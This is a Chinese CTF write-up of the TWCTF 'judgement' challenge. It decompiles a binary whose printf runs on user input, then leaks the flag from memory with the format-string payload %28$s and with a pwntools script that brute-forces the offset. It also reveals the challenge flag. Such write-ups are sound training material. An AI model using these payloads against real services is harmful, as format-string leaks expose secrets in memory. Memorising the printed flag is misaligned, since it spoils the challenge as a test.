文章目录

这道题的功能就是等Flag judgment system\nInput flag >> 时输入flag,然后和真正的flag进行对比,如果正确就输出Correct flag!!,错误就输出Wrong flag…。同时我们发现这个程序的printf存在格式化字符串漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *v3; // esp@1
int result; // eax@2
int v5; // ecx@6
char format; // [sp+0h] [bp-4Ch]@1
int v7; // [sp+40h] [bp-Ch]@1
int *v8; // [sp+48h] [bp-4h]@1
v8 = &argc;
v7 = *MK_FP(__GS__, 20);
v3 = alloca(144);
printf("Flag judgment system\nInput flag >> ");
if ( getnline(&format, 64) )
{
printf(&format);
if ( !strcmp(&format, flag) )
result = puts("\nCorrect flag!!");
else
result = puts("\nWrong flag...");
}
else
{
puts("Unprintable character");
result = -1;
}
v5 = *MK_FP(__GS__, 20) ^ v7;
return result;
}

这里是通过load_flag函数将文件名为flag.txt的文件内容读取到了数组flag[64]中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int init()
{
int result; // eax@1
int v1; // edx@4
char filename[4]; // [sp+13h] [bp-15h]@1
int v3; // [sp+1Ch] [bp-Ch]@1
v3 = *MK_FP(__GS__, 20);
strcpy(filename, "flag.txt");
setbuf(stdin, 0);
setbuf(stdout, 0);
result = load_flag(filename, flag, 64);
if ( !result )
{
printf("Loading '%s' failed...\n", filename);
_exit(0);
}
v1 = *MK_FP(__GS__, 20) ^ v3;
return result;
}

下面是load_flag的函数体。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __cdecl load_flag(char *filename, char *s, int n)
{
int result; // eax@2
FILE *stream; // [sp+18h] [bp-10h]@1
char *v5; // [sp+1Ch] [bp-Ch]@5
stream = fopen(filename, "r");
if ( stream )
{
if ( fgets(s, n, stream) )
{
v5 = strchr(s, 10);
if ( v5 )
*v5 = 0;
result = 1;
}
else
{
result = 0;
}
}
else
{
result = 0;
}
return result;
}

通过以上分析我们知道flag.txt文件在服务器上,当程序运行时将flag.txt内容读取到flag数组中然后让我们输入数据和flag中的数据进行对比。同时我们发现了printf函数存在格式化字符串漏洞,我们可以利用printf将flag中的内容打印出来。

首先我们知道了flag就是0x804a0a0。

接下来我们GDB调试,得出flag到printf的偏移为28。

利用过程和结果如下:

1
2
3
4
5
$ nc localhost 5555
Flag judgment system
Input flag >> %28$s
TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
Wrong flag...

我们得到flag为TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}

当然我们也可以直接对flag到printf的偏移进行爆破。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python
from pwn import *
for i in xrange(1,300):
r = remote('localhost',5555)
r.recv()
r.sendline("%{}$s".format(i))
try:
res = r.recv()
if "TWCTF" in res:
print "The flag is: " + res
break
except:
pass
r.close()

结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ python judgement.py
[+] Opening connection to localhost on port 5555: Done
[*] Closed connection to localhost port 5555
...
...
...
[+] Opening connection to localhost on port 5555: Done
[*] Closed connection to localhost port 5555
[+] Opening connection to localhost on port 5555: Done
The flag is: TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
Wrong flag...
[*] Closed connection to localhost port 5555

文章目录